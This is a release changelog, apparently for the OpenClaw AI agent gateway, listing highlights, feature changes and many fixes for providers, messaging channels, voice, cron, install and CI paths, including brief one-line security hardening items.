• Providers, Codex, and local models are steadier: named auth profiles, OpenAI sampling params, Codex app-server resume/timeout/usage-limit recovery, dynamic tool-schema guards, xAI usage-limit surfacing, Ollama top-p normalization, and local approval resolution reduce provider-specific dead ends.
• More reliable install/update/release paths: Alpine installs, trusted runtime fallback roots, stable update channels, Docker/package timeouts, Windows Scheduled Tasks, Windows/macOS proof lanes, Testbox/Crabbox delegation, plugin publish checks, and macOS runner bootstraps all got hardened.
• Better observability: Activity tab, gateway secret-prep traces, tool/model stream progress, explicit fast-mode status, systemd Gateway hygiene, OpenTelemetry LLM spans, release performance evidence, and richer telemetry signals make failures easier to inspect.

Changes

• Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs, CLI surface, source-provider chunks, and cleaned user-turn persistence.
• Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (#85667) Thanks @fuller-stack-dev.
• Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (#83019, #80370, #86191)
• Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual /approve commands. (#85894, #85952, #85477)
• Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (#84094)
• TUI/status: queue prompts submitted while an agent is busy and show explicit fast-mode state plus richer systemd Gateway hygiene in status output. (#86722, #87115, #86976)
• Exec approvals: hide durable approval actions that are unavailable for the current prompt and keep approval runtime tokens local-only so stale prompts cannot offer misleading controls. (#86270, #86359)
• Plugin SDK: add reaction approval helpers and keep diagnostic event root exports discoverable across function-name and alias-bound module graphs. (#86735, #87084)
• Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (#86798, #86355) Thanks @ngutman.
• Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (#84649, #85843, #86517, #86678)
• Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.
• Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.
• Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.
• Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.
• Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.
• Cron: default cron.maxConcurrentRuns to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.
• QA-Lab: add qa coverage --match <query> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.
• Discord/model picker: surface an alpha-bucket select (e.g. A–G (12) · H–N (18) · O–Z (5)) when the provider list or a provider's model list exceeds 25 items, so configs with provider/* wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.
• Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes #12831. Thanks @BunsDev.
• Build: include ui:build in the full and ciArtifacts profiles of scripts/build-all.mjs so pnpm build always rebuilds dist/control-ui after tsdown cleans dist, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (#85206)
• iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (#86355) Thanks @ngutman.
• Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (#86437)
• Codex: update the bundled Codex CLI to 0.134.0 and keep native compaction disabled for budget-triggered app-server turns so OpenClaw owns the recovery boundary. (#86772)

Fixes

• Memory/security: reject prompt-like text submitted through the explicit memory_store tool before embedding or storage, matching the existing auto-capture prompt-injection filter. (#87142)

• Gateway/security: enable the default auth rate limiter for remote non-browser and HTTP gateway auth failures when gateway.auth.rateLimit is unset, while preserving the loopback exemption. (#87148)

• Security/content boundaries: validate Browser snapshot tab URLs against SSRF policy before ChromeMCP or direct CDP reads, sanitize queued system-event text so untrusted plugin/channel labels cannot spoof nested prompt markers, wrap fetched file text and metadata as external content, apply ClickClack allowFrom sender allowlists before agent dispatch, reject RPCs from invalidated device-token clients during rotation, require staged sandbox media refs, and scrub serialized tool-call text from replies. (#78526, #87094, #87062, #83741, #70707, #86924) Thanks @zsxsoft, @ttzero25, and @mmaps.

• Transcripts/user turns: persist CLI, WebChat, media, follow-up, hook, and Codex-mirror user turns to the admitted session target; keep cleaned transcript text, inline image routing, provenance metadata, replay hooks, and fallback paths idempotent when runtimes fail or restart.

• TUI/status/onboarding/UI: queue busy TUI prompts instead of dropping them, preserve the configured default model during onboarding, show failed tool results as errors, show config-open failures in Control UI, keep status JSON plugin scans healthy, preserve xAI usage-limit errors locally, and expose explicit fast-mode/systemd state. (#86722, #87000, #85786, #87108, #87001, #86614, #87115, #86976)

• Plugin commands/SDK: preserve plugin LLM command auth, bind native plugin command dispatch to the host agent's LLM auth, keep onDiagnosticEvent exports discoverable through Function.name, stabilize diagnostic event root aliases, correlate pathless read diagnostics, suppress transient runner failures in channel command paths, and repair local approval resolution. (#85936, #87084, #86977, #87069, #86771)

• Codex/providers: keep WebChat delivery hints out of user prompts, avoid false queued-terminal idle timeouts, share the native hook relay registry, quarantine unsupported dynamic tool schemas, preserve Claude resumed-session system prompts, normalize greedy Ollama top_p, preserve per-agent thinking defaults for ingress runs, and avoid native compaction takeover on budget-triggered Codex turns. (#87096, #73950, #87049, #86689, #86772)

• Gateway/perf/release: reuse startup-warning metadata and prepared auth stores, avoid cloning live-switch and lifecycle session caches on read paths, defer warning and scheduled-service fallback imports, trim Gateway session/startup/runtime CPU churn, skip duplicate turn session touches, stop chat timeout fallback cascades, drop stale subagent announce history, bound benchmark/watch/kitchen-sink teardown waits, bound macOS/package/onboarding/plugin smoke commands, bound install finalization probes, resolve Parallels npm-update commands from guest PATH, and bootstrap raw AWS macOS Node/pnpm commands through /usr/bin/env. (#86997)

• Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (#86989, #86990, #86991, #86992, #86993, #86994) Thanks @keshavbotagent.

• Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.

• Agents/replay: repair legacy tool results before replay, preserve sessions_spawn transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (#82203, #86934, #87025) Thanks @martingarramon, @vincentkoc, and @joshavant.

• Agents/sessions: handle active-fallback failures in sessions_send so fallback routing reports the real failure and does not leave callers with an ambiguous dropped send. (#86638)

• Agents/hooks/subagents: enforce default hook agent allowlists, recover failed subagent lifecycle completions, and keep node task lifecycle cleanup from closing the Gateway listener. (#86101)

• Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (#86677, #86476) Thanks @TurboTheTurtle and @pashpashpash.

• Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (#87030, #86818, #86559) Thanks @joshavant, @luoyanglang, and @stevenepalmer.

• CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (#87031, #85387) Thanks @giodl73-repo and @vincentkoc.

• Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (#86814, #86964) Thanks @Alix-007 and @vincentkoc.

• Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.

• Telegram/network: treat ENETDOWN as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (#86762) Thanks @TurboTheTurtle.

• Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (#83873, #85361, #85555, #85656, #85709, #86299, #86553) Thanks @SebTardif, @luoyanglang, and @neeravmakwana.

• iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (#82642, #85475, #86569, #86705, #86706, #86770) Thanks @homer-byte, @TurboTheTurtle, @swang430, and @omarshahine.

• WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect OPENCLAW_HOME, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (#83833, #85309, #85777, #85794, #85906, #86318, #86697) Thanks @sliverp, @neeravmakwana, and @Kailigithub.

• Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (#80227, #86238, #86487, #86571, #86595, #86601)

• Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (#85378, #85542, #85891, #85909, #86408)

• Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (#70473, #85764, #86014, #86134, #86427, #86944) Thanks @openperf, @fuller-stack-dev, @zhangguiping-xydt, and @ferminquant.

• Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (#85739, #85787, #86060, #86260, #86384, #86533) Thanks @liaoyl830.

• Install/release: support Alpine CLI installs and runtime floors, prefer trusted startup argv runtime fallback roots, reject stale CLI node runtimes, avoid npm min-release-age installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, make release/plugin prerelease checks fail closed instead of hanging or false-greening, and use host-visible Crabbox local work roots for Docker-backed proof. (#85491)

• Windows daemon: keep Scheduled Task gateway launches running on battery power and avoid workgroup-machine prompts for a domain user during task installation. (#59299)

• Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (#85849, #85934, #86046, #86557)

• Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (#85776, #86037, #86437, #86857, #86923)

• Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (#80613, #82928, #85060, #85704, #85967, #86701) Thanks @brokemac79, @openperf, and @yaaboo-gif.

• Agents/sessions: include visibility metadata on restricted sessions_list results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (#86944) Thanks @ferminquant.

• Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid discovery.wideArea.domain and dns setup --domain values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks @mmaps.

• Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (#86312) Thanks @neeravmakwana.

• Telegram: treat /command@TargetBot bot-command entities as explicit mentions for the addressed bot so requireMention groups no longer drop targeted commands or captions. Fixes #84462. (#86553) Thanks @luoyanglang.

• CI: bound Docker/Bash E2E tarball npm installs with OPENCLAW_E2E_NPM_INSTALL_TIMEOUT so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.

• CI: fail Parallels npm-update smoke jobs after the guest command timeout and cleanup backstop instead of only logging a timeout line.

• CI: bound kitchen-sink RPC HTTP probes so stalled gateway readiness or response bodies fail and retry instead of wedging the walker.

• CI: keep OPENCLAW_TESTBOX=1 pnpm check:changed delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.

• CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged git fetch.

• CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped openclaw child processes cannot wedge the scheduled install smoke.

• iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under ~/Library/Messages/Attachments (including the wildcard /Users/*/Library/Messages/Attachments root) are read through the existing inbound path policy instead of being rejected as path-not-allowed. Literal localRoots stays workspace-scoped. Fixes #30170. (#86569)

• QQ Bot: respect OPENCLAW_HOME for outbound media path resolution so <qqmedia> sends no longer silently fail when HOME and OPENCLAW_HOME differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes #83562. Thanks @sliverp.

• Update: report the primary malformed openclaw.extensions payload error without adding a duplicate missing-main diagnostic. (#86596) Thanks @ferminquant.

• Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (#86620) Thanks @BryanTegomoh.

• Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (#86575) Thanks @ferminquant.

• IRC: store inbound channel routes with the canonical channel:#name target and join transient channel sends before writing. (#85906) Thanks @Kailigithub.

• Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident $0 total. (#85882) Thanks @MichaelZelbel.

• Agents/Codex: honor yolo app-server approval policy only for the full never plus danger-full-access case. (#85909) Thanks @earlvanze.

• Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (#82947) Thanks @SebTardif.

• Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (#80059) Thanks @pavelzak.

• Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (#85934) Thanks @SebTardif.

• Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (#86046) Thanks @SebTardif.

• Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct discord.com connections before opening the WebSocket. Fixes #80227. Thanks @Clivilwalker.

• Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (#84812) Thanks @marchpure.

• Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (#86501) Thanks @tianxiaochannel-oss88.

• Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (#86529) Thanks @ai-hpc.

• Gateway: emit plugin session_end/session_start hooks when agent.send rotates or replaces a session id, keeping hook lifecycle state aligned with sessions.changed notifications. Fixes #83507. (#85875) Thanks @brokemac79.

• OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes #72373. Thanks @brokemac79.

• Google: stop normalizing gemini-3.1-flash-lite to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes #86151. (#86240) Thanks @SebTardif.

• Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try nodejs-current, and report Alpine version guidance when repositories only provide older Node packages.

• Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes #80184. (#86570) Thanks @brokemac79.

• Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (#85489) Thanks @fuller-stack-dev.

• Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (#70473) Thanks @fuller-stack-dev.

• Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (#85542) Thanks @fuller-stack-dev.

• Agents/Codex: allow Codex app-server runs to bootstrap from CODEX_API_KEY or OPENAI_API_KEY when no Codex auth profile is configured.

• Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (#86408) Thanks @funmerlin and @VACInc.

• Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.

• Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute time paths so RSS probes can run Node and pnpm on fresh macOS runners.

• Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.

• TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.

• Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale sessions.json.*.tmp sidecars. Fixes #56827. Thanks @openperf.

• Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.

• Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.

• Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.

• Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes #86518. (#86533) Thanks @liaoyl830.

• Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.

• Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.

• Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run ENOENT failures. Fixes #82928. Thanks @galiniliev.

• Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (#86487) Thanks @neeravmakwana.

• Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.

• Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.

• Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.

• Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (#86177) Thanks @TurboTheTurtle.

• Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.

• Kilo Gateway: send string stop sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (#86461) Thanks @SebTardif.

• Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.

• Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (#86037)

• Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind SessionWriteLockTimeoutError. Fixes #86014. Thanks @openperf.

• Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.

• Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (#86327) Thanks @abnershang.

• Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (#84409) Thanks @samzong.

• Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (#85733)

• Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (#85348) Thanks @osolmaz.

• Gateway: clear the runtime config snapshot before SIGUSR1 in-process restarts so config changes survive the next gateway loop. (#86388) Thanks @XuZehan-iCenter.

• Models: show OAuth delegation markers as configured models.json auth while keeping runtime route usability checks strict. (#86378) Thanks @rohitjavvadi.

• Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (#86313) Thanks @ferminquant.

• Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes #84922. (#86415) Thanks @IWhatsskill.

• Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (#86260) Thanks @stevenepalmer.

• Security/Audit: flag webhook hooks.token reuse of active Gateway password auth in openclaw security audit while keeping password-mode startup compatibility. (#84338) Thanks @coygeek.

• QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes #85267. (#85271) Thanks @SymbolStar.

• Agents/heartbeat: stop heartbeat turns after the first valid heartbeat_respond so repeated response loops do not burn tokens. (#86357) Thanks @udaymanish6.

• Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.

• Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (#86302) Thanks @SebTardif.

• Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (#85704) Thanks @yaaboo-gif.

• Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (#86299) Thanks @SebTardif.

• Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (#86318) Thanks @neeravmakwana.

• Cron: accept leading-plus relative durations such as +5m for one-shot --at schedules. (#86341) Thanks @mushuiyu886.

• Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (#85933) Thanks @fuller-stack-dev.

• Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.

• QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.

• Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run pnpm check:changed from the intended diff.

• xAI/LM Studio: avoid buffering ordinary bracketed or final prose until stream completion while watching for plain-text tool-call fallbacks.

• Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes #86102. (#86384) Thanks @1052326311.

• Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (#86238) Thanks @fuller-stack-dev.

• Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (#86571) Thanks @joshavant.

• Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.

• Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that pnpm build includes ui:build.

• Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.

• Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.

• QA-Lab: make the synthetic OpenAI provider honor generic reply exactly: directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.

• Gateway: abort active agent RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.

• Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.

• Build: route scripts/ui.js through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce dist/control-ui.

• Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.

• Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.

• Install/update: bypass npm min-release-age policies with --min-release-age=0 instead of --before so hosted installers keep working on npm versions that reject the combined config. (#84749) Thanks @TeodoroRodrigo.

• Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes #85639. Thanks @openperf.

• WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes #86347. Thanks @shakkernerd.

• Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.

• Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.

• Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.

• Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (#81153) Thanks @ai-hpc.

• xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (#86222) Thanks @fuller-stack-dev.

• CLI: suppress benign self-update version-skew warnings during package post-update finalization.

• Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or n/a results.

• Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.

• Docker: restore writable ~/.config in runtime images. Fixes #85968. Thanks @hkoessler and @Bartok9.

• Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.

• Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.

• Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.

• Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (#86287) Thanks @ferminquant.

• Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.

• Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.

• Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on control_request, and document that OpenClaw exec policy is authoritative. Fixes #80819. (#86330, from #81971) Thanks @guthirry and @sallyom.

• Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude --permission-mode for managed live sessions. (#86557) Thanks @sallyom.

• Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.

• Codex: log when implicit app-server never approvals are promoted for OpenClaw tool policy, including whether the trigger was a before_tool_call hook or trusted tool policy.

• Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks @amknight.

• Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (#83971) Thanks @damianFelixPago.

• Telegram: route normal [telegram][diag] polling diagnostics through runtime.log while keeping non-diag warnings and persistence failures on runtime.error, so healthy polling startup no longer looks like an error. Fixes #82957. (#82958) Thanks @galiniliev.

• Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (#86286) Thanks @jason-allen-oneal.

• Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (#85690) Thanks @ngutman.

• Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (#86134) Thanks @zhangguiping-xydt.

• iMessage: dedupe watcher startup when channels.imessage.accounts lists both default and a named account that point at the same local Messages source, so the gateway no longer spawns two imsg rpc processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and openclaw doctor flags the redundant account with a rebinding hint. Fixes #65141. (#86705) Thanks @swang430.

Highlights

• Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.
• Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.
• More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage get reaction approvals.
• Safer agents: Codex app-server auth, compaction, source replies, sandbox path handling, and usage-limit recovery are more robust; OpenAI-compatible providers avoid empty-tool and malformed payload failures.
• More reliable replay and installs: legacy tool results, subagent spawn payloads, stale lock ownership, Windows stack-heavy startup, macOS restart validation, and Docker package preparation all fail less surprisingly.
• Better install/update/release confidence: Alpine installs, stable update channels, Docker/package timeouts, Windows/macOS proof lanes, Testbox/Crabbox delegation, and plugin publish checks all got hardened.
• New observability: Activity tab, gateway secret-prep traces, tool/model stream progress, OpenTelemetry LLM spans, release performance evidence, and richer missing telemetry signals make failures easier to inspect.

Changes

• Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs and CLI surface.
• Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (#85667) Thanks @fuller-stack-dev.
• Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (#83019, #80370, #86191)
• Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual /approve commands. (#85894, #85952, #85477)
• Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (#84094)
